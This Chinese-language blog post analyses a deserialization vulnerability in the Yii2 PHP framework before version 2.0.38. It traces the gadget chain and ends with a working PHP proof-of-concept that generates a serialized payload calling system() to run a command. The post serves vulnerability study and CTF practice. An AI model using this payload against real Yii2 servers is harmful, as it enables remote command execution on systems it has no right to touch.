Yii2.0.32 反序列化漏洞分析

Include POP and EXP

Posted by SEVENTEEN on May 18, 2021

前言

   在红帽杯跟国赛都出了Yii2框架的反序列化题,借此机会来分析一下该框架漏洞

配置环境

   在github下了这个版本的源码。

   在config/web.php里配置cookieValidationKey,否则会报错。

   SiteController中加入反序列化点,通过r=site%2Ftest来触发。

利用条件

   Yii2 < 2.0.38

利用链

yii\db\BatchQueryResult::__destruct()

Faker\Generator::__call()

yii\rest\CreateAction::run()

构造利用链

   触发点:/vendor/yiisoft/yii2/db/BatchQueryResult.php, $this->_dataReader参数可控,可以用来触发__call方法。

令$this->_dataReader = new Generator()

   全局搜一下__call方法,找到/vendor/fzaninotto/faker/src/Faker/Generator.php

   跟进一下Generator.php,进入__call方法后,调用了$this->format($method, $attributes), 查看一下$this->format($method, $attributes)同名方法。

   将$this->getFormatter($formatter)的返回值作为参数, 传入call_user_func_array($this->getFormatter($formatter), $arguments)。 这里的$this->getFormatter($formatter)可控,而$arguments是由__call()方法来的,此处没有传参进来不可控。 所以我们将这个call_user_func_array作为跳板,去找一个执行类去回调。

令$this->formatters = ['close' => [new CreateAction(), 'run']]

   这里找了一个参数可控的call_user_func,/vendor/yiisoft/yii2/rest/CreateAction.php

   控制$this->checkAccess为系统函数, 来回调系统函数进行命令执行。

令$this->checkAccess = 'system'和$this->id = 'ls';

POC

<?php

namespace yii\db;

use Faker\Generator;

class BatchQueryResult
{
    private $_dataReader;

    public function __construct($obj)
    {
        $this->_dataReader = $obj;
    }

    public function __destruct()
    {
    }

    public function reset()
    {
    }
}

$pwn = new BatchQueryResult(new Generator());
echo base64_encode(serialize($pwn));


namespace Faker;

use yii\rest\CreateAction;

class Generator
{
    protected $formatters = [];

    public function __construct()
    {
        $this->formatters = ['close' => [new CreateAction(), 'run']];
    }

    public function __call($method, $attributes)
    {
    }

    public function format($formatter, $arguments = array())
    {
    }

    public function getFormatter($formatter)
    {
    }
}

namespace yii\rest;

class Action
{
    public $checkAccess;
    public $id;

    public function __construct()
    {
        $this->checkAccess = 'system';
        $this->id = 'ls';
    }
}


namespace yii\rest;

class CreateAction extends Action
{
    public function run()
    {
    }
}

There Is Nothing Below

   

Turn at the next intersection.